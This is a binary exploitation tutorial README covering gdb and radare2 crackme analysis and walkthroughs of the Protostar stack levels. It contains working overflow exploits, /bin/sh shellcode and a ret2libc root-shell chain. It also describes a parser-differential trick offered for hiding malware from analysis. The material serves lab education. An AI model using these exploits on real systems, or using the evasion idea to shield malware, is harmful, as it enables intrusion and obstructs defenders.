An open API service indexing awesome lists of open source software.

https://github.com/ocdbytes/binaryexploitation

Basic binary exploitation | Working of Malwares/Binaries | Obfuscation to avoid antivirus | Parser Differential to avoid analysis of Binary/Malwares
https://github.com/ocdbytes/binaryexploitation

assembly binary-exploitation malware-analysis reverse-engineering x86-64

Last synced: 3 months ago
JSON representation

Basic binary exploitation | Working of Malwares/Binaries | Obfuscation to avoid antivirus | Parser Differential to avoid analysis of Binary/Malwares

Awesome Lists containing this project

README

        

# Binary Exploitation

### Assembly Language (Basics)

Practice on : https://microcorruption.com/debugger/New%20Orleans

Read basic instructions in assembly like :

- compare
- jump
- add
- move
- subtract
- goto
- push
- pop

.... etc.

Focus on Memory and Stack instructions

### Cracking a Binary

Github Link : https://github.com/LiveOverflow/liveoverflow_youtube/tree/master/0x05_simple_crackme_intro_assembler

Download the resources

```bash
wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/gdb_disassembly
wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/license_1.c

### After getting compile the binary

gcc license_1.c -o license
```

It's a simple program which checks if a license is valid or not by taking a input as an argument.
To see binary assembly code

```bash
gdb "binary_name"
```

Always set the view as : set disassembly-flavor intel
To disassemble a function : disassemble "func_name"

Analyse the assembly Code -> :)

**GDB Commands :**

- break (star)"point_where_to_break" : Eg, break \*main
- info registers : To get the info about the basic memory layout
- si : to go through the code by instruction wise and stopping each time
- ni : to go through the code by executing the function first and then stopping on the first instruction
- run / run "args" : to start the program
- set "memory_pointer" : Eg, set $eax=0, This will set the eax pointer to 0

**Tools :**

- radare2
- Hopper Disassembler
- strings
- objdump
- hexdump

**Radare 2 Commands :**

```bash
r2 binary_name
```

- aaa : to analyse all the functions
- afl : to analyse and list the functions
- ? : to get the help menu for commands
- pdf : to display the disassembled code of a function
- s "func/point" : this will set the address to what we are giving as input to point. Eg, s sym.main
- VV : To get graphical view / control graph

### Let's try to make our code more safe

Step 1 : let's not store the string as it is in the code
Step 2 : Compare the sum of ascii's of the input with the sum of the real key

Now our program is :

```C
#include
#include

int main(int argc, char *argv[]) {
if(argc==2) {
printf("Checking License: %s\n", argv[1]);
int sum = 0;
for(int i = 0; i < strlen(argv[1]);i++){
sum += (int)argv[1][i];
}
if(sum == 916) {
printf("Access Granted!\n");
} else {
printf("WRONG!\n");
}
} else {
printf("Usage: \n");
}
return 0;
}

```

Using Radare 2 analyse the compiled binary and getting the way to bypass checks.
Now making safe doesn't work so now we move to a new approach which is :

**USING A PARSER DIFFERENTIAL**

What is this and what it will do ?

-> Now as we know that we can run the binary in linux system and we can also pass it through gdb and radare2 to analyse but what if we can do something so that we will still be able to
run the binary but we aren't able to pass it through GDB and radare like softwares

Let's write a python script for achieving our goal.
**fuzzer.py** in 0x08 folder

Uses :

- We can use this fuzzing technique to hide the working of our malware and stop people from analysing it.
- To make the code uncrackable

The script above is not written in professional way but it gives us a glimpse of how the **Parser Differential** works.

More on this topic

- https://www.sentinelone.com/blog/breaking-and-evading/
- https://ioactive.com/striking-back-gdb-and-ida-debuggers/

**SysCalls** : Bridge between Kernel Mode and User Mode

## Now we need to practise our skills in binary exploitation

### Protostar

We need to download the VM from : https://exploit.education/downloads/

- Download Protostar
- Install it in virtual box

**Login Creds**

username : user
password : user

Machine Page : https://exploit.education/protostar/
All the binaries which need to be exploited can be found in **/opt/protostar/bin**

### Stack 0

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

1. Here we will now boot up the machine with given creds. It will look something like this

2. Navigate to /opt/protostar/bin

3. The code of binary is given to us and now analyse it with gdb

4. Let's understand the terminologies in the assembly code

```txt
POINTERS
--------

ebp = base pointer (it is at the bottom of the stack)
eip = instruction pointer
esp = stack pointer

INSTRUCTIONS
------------

call = this will put the address on the top of the stack
leave = this will pop all the local variable space in the stack
```

5. Now one thing we all know that never to use gets() function in c. It is dangerous.
6. Set the breakpoint of the program at the get instruction in the following asm program

```asm
0x0000555555555149 <+0>: push rbp
0x000055555555514a <+1>: mov rbp,rsp
0x000055555555514d <+4>: sub rsp,0x60
0x0000555555555151 <+8>: mov DWORD PTR [rbp-0x54],edi
0x0000555555555154 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000555555555158 <+15>: mov DWORD PTR [rbp-0x4],0x0
0x000055555555515f <+22>: lea rax,[rbp-0x50]
0x0000555555555163 <+26>: mov rdi,rax
0x0000555555555166 <+29>: mov eax,0x0
0x000055555555516b <+34>: call 0x555555555040 <--- this is the gets instruction
0x0000555555555170 <+39>: mov eax,DWORD PTR [rbp-0x4]
0x0000555555555173 <+42>: test eax,eax <--- here it is comparing the variables to 0
0x0000555555555175 <+44>: je 0x555555555188
0x0000555555555177 <+46>: lea rax,[rip+0xe8a] # 0x555555556008
0x000055555555517e <+53>: mov rdi,rax
0x0000555555555181 <+56>: call 0x555555555030 <--- print statements
0x0000555555555186 <+61>: jmp 0x555555555197
0x0000555555555188 <+63>: lea rax,[rip+0xea2] # 0x555555556031
0x000055555555518f <+70>: mov rdi,rax
0x0000555555555192 <+73>: call 0x555555555030 <--- print statements
0x0000555555555197 <+78>: mov eax,0x0
0x000055555555519c <+83>: leave
0x000055555555519d <+84>: ret
```

**In GDB**

```sh
break *0x000055555555516b # on gets
break *0x0000555555555170 # after gets
```

7. We will enter some commands for gdb to execute when we hit the break point we can do it by setting the hook-stop

```sh
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/24wx $esp
>x/2i $eip
>end
```

Now every time we hit a break point we will get the registers info and we will get the next two instructions which will be executed after the breakpoint

8. Now restart the program using r and as soon we hit the breakpoint we get the registers with the values

9. Now continue (c) the program and enter bunch of A's and now observe the register values and we see that there are bunch of 0x41414141.
These values are nothing but the A's we provided --> "A" = char(0x41)

10. To check the content of the register which is being compared to zero we will use

```sh
(gdb) x/wx $esp+0x5c
# OUTPUT -> 0x000000000
```

11. Now we need to edit this but we need to count how many chars do we need to edit this. Let's count it from the output above and we will come to know that we need 64+ chars to edit our stack pointer $esp+0x5c

12. generate sting using python

```sh
python3 -c 'print("A"*70)'
```

Now copy and paste in gdb after restarting the execution

13. And we have our result our pointer is edited to confirm check again using

```sh
x/wx $esp+0x5c
#OUTPUT -> 0x41414141
```

14. This kind of behavior is actually a vulnerability called **Buffer Overflow**

#### Now we have solved our first stack vulnerabity

### Stack 3

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

1. Boot up the machine with given credentials.
2. navigate to /opt/protostar/bin.
3. Run the stack3 binary to check the behavior.
4. Open the binary in gdb and analyse.
5. Disassemble the Code and Analyse the main and win function.
6. Now we need to know where our win() function lies in the memory so for that we will use :

```txt
(gdb) x win
```

7. This will give the address of the win() function.
8. Now after analysing the assembly output of the main function we are able to find that the value fp; is called as a function if it is not equal to zero.
9. Let's do some gdb stuff now

```txt
(gdb) break *(address_of_the_last_fp_call)
(gdb) r
---> After running provide input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) info registers

```

10. Now we can see that our register eax is 0x41414141, this is nothing else but the A's we provided.
11. Now we will write a simple script to know the offset till where our buffer is limited and where overflow is happening. (script in /stack3 directory) (script_name = "check_offset.py")
12. Now we will pip the output of the offset script in gdb and get the offset.

```sh
# compile the script and store the output
python /tmp/check_offset.py > /tmp/out

# Open the binary in gdb
(gdb) disassemble main
(gdb) break *(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers
```

13. As we can see that our offset is at 0x51515151 exactly so this means that our buffer started to overflow when the letter Q appears so now create another script which will call our win function.
(script in /stack3 directory) (script_name = "exploit.py")

```sh
(gdb) disassemble main
(gdb) break *(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers
```

14. Now after piping the output to the binary in gdb we can see that our eax pointer is set to 0x08048424, therefore our next execution call will be win() function.

```sh
(gdb) c
```

15. And we see our output as 'code flow successfully changed' we can confirm it using

```sh
python /tmp/exploit.py | ./stack3
```

VOILA, stack 3 binary is exploited.
Similarly stack4 can also be solved :)

### Stack 4

Solved !! scripts in directory stack4

### Stack 5

Stack5 is a standard buffer overflow, this time introducing shellcode.

Analyse the binary in GDB

- Let's make a break point at "return" of the main function
- Now we need to analyse the registers so we will make a hook-stop

```txt
> x/1i $eip
> x/8wx $esp
> end
```

**x/1i $eip** : To read the first instruction at the instruction pointer.
**x/8wx $esp** : Examine 8 words in hex from the stack.
**end** : to end the hook


Let's provide the input as the offset string generated by the offset.py program

```sh
(gdb) r < /tmp/offset
```

Now after continuing check the info registers to get the esp value so that we can append it to the exploit string

Let's create the exploit

```python
string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf" # 0xbffff820 = $esp (after return)
# This is INT 3 instruction to stop the execution and then execute somehing else
payload = "\xCC" * 4

print(string+eip+payload)
```

Viola 🎉 !! We got **SIGTRAP** Error which is a trace/breakpoint trap

Now if we run the code we will get **ILLEGAL INSTRUCTION**

**Why is this happening ?**

The main reason for this is different execution environments for our input and the gdb instruction. We can understand more from this.

We can notice differnet addresses in the Environment Variables 🧮

How to overcome this ?

- Disable ENV variables before running the program
- Use number of NOP (No Operation instruction)

We will use the second technique to overcome this addressing problem. Modify the exploit 🧰

```python
string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf" # 0xbffff820 = $esp (after return)
# This is INT 3 instruction to stop the execution and then execute somehing else
payload = "\x90" * 100 + "\xCC" * 4 # \x90 : NOP instruction

print(string+eip+payload)
```

Now if we run the code we will get **Trace/Breakpoint Trap** 🎉

Now we will access shell using the shell code from : http://www.shell-storm.org/shellcode/files/shellcode-811.php

```txt
"\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
```

Let's design the exploit :

```python
string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf" # 0xbffff820 = $esp (after return)
nops = "\x90" * 100 # \x90 : NOP instruction

# SHELLCODE
# ---------
# This is the shellcode to execute /bin/bash

payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

print(string+eip+nops+payload)
```

Now we will execute the binary with our exploit output and cat to get an interactive shell

```txt
(python3 fin_exp.py ; cat) > ./stack5
```

### Stack 6

Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.

```c
#include
#include
#include
#include

void getpath()
{
char buffer[64]; // buffer of 64 bytes
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0); // __builtin_return_address -> this function returns the return address of the function (current one / caller one)

if((ret & 0xbf000000) == 0xbf000000) { // This function is checking if the address starts with 0xbf it will exit the code and print the result given below (bzzzt)
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer); // We need our code to be exited here and hit the Trace/Breakpoint Trap
}

int main(int argc, char **argv)
{
getpath(); // Calling getpath()
}
```

Now the exploit we developed previously willnot work this time because of the if statement checking the condition of the memory return Address we can try doing it and we will get the result as "bzzzt 0xbf\***\*\_\_\*\***(any address)"

Now we need to bypass this 0xbf thing and execute our code from the buffer

```txt
(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break *getpath ----> To set a breakpoint at the address where getpath is called in the main function.
(gdb) r
(gdb) info proc map
```

As we can see here that the only addresses which are on the stack are starting with "0xbf--------". This is the problem for us.
Now what we will do is we will replce our return address with the return address of getpath() function.

This is what will happen then :

- First the function will call the return which we provided in the stack
- This will bypass the if statement check of 0xbf
- Now the function will return itself
- Now the next address on the stack will be 0xbf------- (which is what we need to jump back in the stack in order to execute our shellcode)

Let's design an exploit for that :

```py
import struct
string = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+32)
return_addr = struct.pack("I", 0x080484f9)
trap = "\xCC" * 100

print(string+return_addr+eip+trap)

```

In GDB :

```sh
(gdb) disassemble getpath
(gdb) break *0x080484f9
(gdb) r < /tmp/stack6
(gdb) x/4wx $esp
(gdb) si
(gdb) x/4wx $esp
(gdb) si
(gdb) c
```

VIOLA 🎉 !! We have ou exploit done
We recieved our TRAP/BREAKPOINT. Now we can execute our shellcode or binary code to get our desired access

### Stack 7

This stack is similar to the previous stack in which we need to use the rit2libc technique to solve this challenge.
Now first analyse the breakpoints and the eip and esp pointers after setting the breakpoint at the getpath() function.

**Get Path Function**

```asm
0x0000000100003e30 <+0>: push rbp
0x0000000100003e31 <+1>: mov rbp,rsp
0x0000000100003e34 <+4>: sub rsp,0x60
0x0000000100003e38 <+8>: mov rax,QWORD PTR [rip+0x1c1] # 0x100004000
0x0000000100003e3f <+15>: mov rax,QWORD PTR [rax]
0x0000000100003e42 <+18>: mov QWORD PTR [rbp-0x8],rax
0x0000000100003e46 <+22>: lea rdi,[rip+0x12f] # 0x100003f7c
0x0000000100003e4d <+29>: mov al,0x0
0x0000000100003e4f <+31>: call 0x100003f24
0x0000000100003e54 <+36>: mov rax,QWORD PTR [rip+0x1ad] # 0x100004008
0x0000000100003e5b <+43>: mov rdi,QWORD PTR [rax]
0x0000000100003e5e <+46>: call 0x100003f18
0x0000000100003e63 <+51>: lea rdi,[rbp-0x50]
0x0000000100003e67 <+55>: call 0x100003f1e
0x0000000100003e6c <+60>: mov rax,QWORD PTR [rbp+0x8]
0x0000000100003e70 <+64>: mov DWORD PTR [rbp-0x54],eax
0x0000000100003e73 <+67>: mov eax,DWORD PTR [rbp-0x54]
0x0000000100003e76 <+70>: and eax,0xb0000000
0x0000000100003e80 <+80>: jne 0x100003ea1
0x0000000100003e86 <+86>: mov esi,DWORD PTR [rbp-0x54]
0x0000000100003e89 <+89>: lea rdi,[rip+0x100] # 0x100003f90
0x0000000100003e90 <+96>: xor eax,eax
0x0000000100003e92 <+98>: call 0x100003f24
0x0000000100003e97 <+103>: mov edi,0x1
0x0000000100003e9c <+108>: call 0x100003f12
0x0000000100003ea1 <+113>: lea rsi,[rbp-0x50]
0x0000000100003ea5 <+117>: lea rdi,[rip+0xf0] # 0x100003f9c
0x0000000100003eac <+124>: mov al,0x0
0x0000000100003eae <+126>: call 0x100003f24
0x0000000100003eb3 <+131>: lea rdi,[rbp-0x50]
0x0000000100003eb7 <+135>: call 0x100003f2a
0x0000000100003ebc <+140>: mov QWORD PTR [rbp-0x60],rax
0x0000000100003ec0 <+144>: mov rax,QWORD PTR [rip+0x139] # 0x100004000
0x0000000100003ec7 <+151>: mov rax,QWORD PTR [rax]
0x0000000100003eca <+154>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000100003ece <+158>: cmp rax,rcx
0x0000000100003ed1 <+161>: jne 0x100003ee1
0x0000000100003ed7 <+167>: mov rax,QWORD PTR [rbp-0x60]
0x0000000100003edb <+171>: add rsp,0x60
0x0000000100003edf <+175>: pop rbp
0x0000000100003ee0 <+176>: ret
0x0000000100003ee1 <+177>: call 0x100003f0c
0x0000000100003ee6 <+182>: ud2
0x0000000100003ee8 <+184>: nop DWORD PTR [rax+rax*1+0x0]
```

```sh
(gdb) set disassembly-flavor intel
(gdb) disassemble getpath
(gdb) break getpath
(gdb) r
(gdb) x/i $eip # eip pointer -> Next instruction to be executed
(gdb) x/80x $esp # This will give us the top 80 address/instructions from the stack
(gdb) c
```

Now we will run this by setting the hook-stop with offset as an input

Setting the hook-stop

```sh
(gdb) set hook-stop
> info registers
> x/3i $eip
> x/80x $esp
> end
```

Setting the breakpoint after the gets() function address and running the program and continuing the execution

```sh
(gdb) break *0x080484ef
(gdb) r < /tmp/offset
(gdb) c
```

Now we got segmentation fault at address 0x55555555 => char(0x55) => 'U'
We have our offset now which is from 'A' to 'T' all 4 chars. This string will look like :
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT

Let's develop a python script for this :

- We need to first get the "/bin/sh" address in the system
- Then we need to point the $eip to execute the "/bin/sh" as root

Getting system address in gdb

```sh
(gdb) p system
$1 = {} 0xb7ecffb0 <__libc_system>

# System Address : 0xb7ecffb0
```

Let's get the libc address in gdb

```sh
(gdb) info proc map
```

Now we know our libc address let's get the "/bin/sh" address in gdb

```sh
(gdb) find &system, +9999999, "/bin/sh"
```

We got the address as : 0xb7fba23f for "/bin/sh" in gdb. Let's cross check if it is the "/bin/sh" or not ?

```sh
(gdb) x/s 0xb7fba23f

# OUTPUT :
0xb7fba23f: "KIND in __gen_tempname\""
```

This is a wrong address we need to find the real address of "/bin/sh" in gdb. Let's use strings module to find the real address (I got this method from a blog)

```sh
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh

# OUTPUT :
11f3bf /bin/sh
```

Now to get the /bin/sh address we will add 11f3bf to libc address which would be :

```txt
0xb7e97000 + 11f3bf = 0xb7fb63bf
```

Let's check if this is the real address of /bin/sh

```sh
(gdb) x/s 0xb7fb63bf
```

Voila !! 🎉 we got the real address

Exploit :

```py
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT" # padding
system_address = "\xb0\xff\xec\xb7" # system : 0xb7ecffb0
drag = "AAAA"
bin_sh = "\xbf\x63\xfb\xb7" # /bin/sh : 0xb7fb63bf

exploit_string = buffer + system_address+drag + bin_sh
print(exploit_string)
```

```sh
user@protostar:/opt/protostar/bin$ python /tmp/exploit.py > /tmp/exploit
```

Let's run the exploit with this string

```sh
user@protostar:/opt/protostar/bin$ python /tmp/exploit.py | ./stack7

# OUTPUT

input path please : bzzzt (0xb7ecffb0)
```

Now we need to bypass the filter so for that we will first go to the return address of the getpath() function. Address of the "ret" instruction in getpath() : 0x08048544

Now our new exploit will become :

```py
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT" # padding
ret = "\x44\x85\x04\x08" # return address of getpath()
system_address = "\xb0\xff\xec\xb7" # system : 0xb7ecffb0
drag = "AAAA"
bin_sh = "\xbf\x63\xfb\xb7" # /bin/sh : 0xb7fb63bf

exploit_string = buffer + ret + system_address + drag + bin_sh
print(exploit_string)
```

Wooohoooo !! We have what we wanted a SEGMENTATION FAULT after the binary execution

Gaining the root shell

```sh
(python /tmp/exploit.py ;cat) | ./stack7
```

We got the f\*\*king shell with root access